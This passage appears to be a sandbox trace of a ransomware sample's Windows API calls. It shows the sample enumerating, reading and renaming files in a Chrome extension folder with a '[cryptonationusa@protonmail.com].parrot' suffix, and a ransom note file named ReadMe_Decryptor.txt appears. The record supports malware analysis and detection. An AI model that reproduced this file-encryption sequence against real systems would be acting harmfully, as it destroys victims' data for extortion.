lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0074.000] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.000] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.000] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.000] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.000] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8368fa00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368fa00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x174c, dwReserved0=0x0, dwReserved1=0x0, cFileName="view.html", cAlternateFileName="VIEW~1.HTM")) returned 1 [0074.001] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1864, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.001] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.001] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0074.003] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.003] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x174c, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x174c, lpOverlapped=0x0) returned 1 [0074.036] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.036] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1864, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.036] CloseHandle (hObject=0x28c) returned 1 [0074.037] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.042] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa5d, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.042] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.042] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0074.044] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.044] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x945, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x945, lpOverlapped=0x0) returned 1 [0074.044] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.045] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa5d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.045] CloseHandle (hObject=0x28c) returned 1 [0074.045] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.047] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0074.048] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb99dee00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb99dee00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.048] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb99b8ca0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb99b8ca0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb99dee00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0074.048] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc990, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.048] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.048] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.050] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.050] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc878, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xc878, lpOverlapped=0x0) returned 1 [0074.052] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.053] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc990, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.053] CloseHandle (hObject=0x27c) returned 1 [0074.053] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.055] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd3e, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.055] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.055] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.057] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.057] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc26, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xc26, lpOverlapped=0x0) returned 1 [0074.057] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.057] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd3e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.057] CloseHandle (hObject=0x27c) returned 1 [0074.058] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.060] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.060] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.060] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.062] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.062] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x38a8, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x38a8, lpOverlapped=0x0) returned 1 [0074.063] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.063] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.063] CloseHandle (hObject=0x27c) returned 1 [0074.063] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.066] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c38, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.066] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.066] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.068] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.068] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b20, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x2b20, lpOverlapped=0x0) returned 1 [0074.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.069] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.069] CloseHandle (hObject=0x27c) returned 1 [0074.070] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.072] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa10, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.072] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.072] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.074] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x8f8, lpOverlapped=0x0) returned 1 [0074.074] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.074] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.074] CloseHandle (hObject=0x27c) returned 1 [0074.074] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.077] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46151, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.077] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.077] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.079] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.079] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x46039, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x46039, lpOverlapped=0x0) returned 1 [0074.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.105] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46151, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.105] CloseHandle (hObject=0x27c) returned 1 [0074.105] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.109] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d4b, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.109] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.109] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.111] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7c33, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x7c33, lpOverlapped=0x0) returned 1 [0074.112] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.114] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d4b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.114] CloseHandle (hObject=0x27c) returned 1 [0074.114] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.122] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2af03, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.122] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.122] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.124] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.124] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2adeb, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x2adeb, lpOverlapped=0x0) returned 1 [0074.130] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.134] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2af03, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.134] CloseHandle (hObject=0x27c) returned 1 [0074.134] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 